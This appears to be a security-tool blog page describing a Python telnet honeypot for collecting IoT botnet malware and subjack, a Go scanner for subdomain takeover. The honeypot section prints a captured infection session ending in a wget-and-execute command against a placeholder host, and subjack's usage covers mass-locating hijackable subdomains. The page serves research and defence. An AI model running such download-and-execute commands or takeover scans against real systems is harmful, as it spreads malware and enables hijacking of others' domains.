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Sunday, December 31, 2017

Python Telnet Honeypot For Catching Botnet Binaries - Telnet IoT Honeypot


This project implements a python telnet server trying to act as a honeypot for IoT Malware which spreads over horribly insecure default passwords on telnet servers on the internet.
Other than https://github.com/stamparm/hontel or https://github.com/micheloosterhof/cowrie (examples), which provides full (via chroot) or simulated behaviour of a linux system this honeypots goal is just to collect statistics of (IoT) botnets. This means that the honeypot must be made to work with every form of automated telnet session, which may try to infect the honeypot with malware. Luckily, these malwares infection processes are quite simple, just using wget do download something and running it.

Architekure
The application has a client/server architekture, with a client (the actual honeypot) accepting telnet connections and a server aggregating connection data and sample analysis.
However, for local deployments, the application can also be run in local mode to eliminate the need to run a client and server locally.

Running
The application has a config file named config.py. Samples are included for local and client/server deployments.

Client/Local Mode
python honey.py

Server
python backend.py

Opening the frontend
After the server is started, open html/index.html in your favorite browser. For this to work, the url in html/apiurl.js should point to your running backend, which it should do automatically for local deployments.

Sample Connection
enable
shell
sh
cat /proc/mounts; /bin/busybox PEGOK
cd /tmp; (cat .s || cp /bin/echo .s); /bin/busybox PEGOK
nc; wget; /bin/busybox PEGOK
(dd bs=52 count=1 if=.s || cat .s)
/bin/busybox PEGOK
rm .s; wget http://example.com:4636/.i; chmod +x .i; ./.i; exit 

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Hostile Subdomain Takeover tool written in Go - subjack





subjack is a Hostile Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked. With Go's speed and efficiency, this tool really stands out when it comes to mass-testing. Always double check the results manually to rule out false positives.

Installing
You need have Go installed. Full details of installation and set up can be found here.
go build subjack.go

How To Use:
./subjack -w domains.txt -t 100 -timeout 30 -o results.txt -https
  • -w domains.txt is your list of subdomains. I recommend using cname.sh (included in repository) to sift through your subdomain list for ones that have CNAME records attached and use that list to optimize and speed up testing.
  • -t is the number of threads (Default: 10 threads).
  • -timeout is the seconds to wait before timeout connection (Default: 10 seconds).
  • -o results.txt where to save results to (Optional).
  • -https enforces https requests which may return a different set of results and increase accuracy (Optional).
Currently checks for:
  • Amazon S3 Bucket
  • Amazon Cloudfront
  • Cargo
  • Fastly
  • FeedPress
  • Ghost
  • Github
  • Helpjuice
  • Help Scout
  • Heroku
  • Pantheon.io
  • Shopify
  • Surge
  • Tumblr
  • UserVoice
  • WordPress
  • WP Engine

Practical Use
subjack included scanio.sh which is kind of a PoC script to mass-locate vulnerable subdomains using results from Rapid7's Project Sonar. This script parses and greps through the dump for desired CNAME records and makes a large list of subdomains to check with subjack if they're vulnerable to Hostile Subdomain Takeover. Of course this isn't the only method to get a large amount of data to test.




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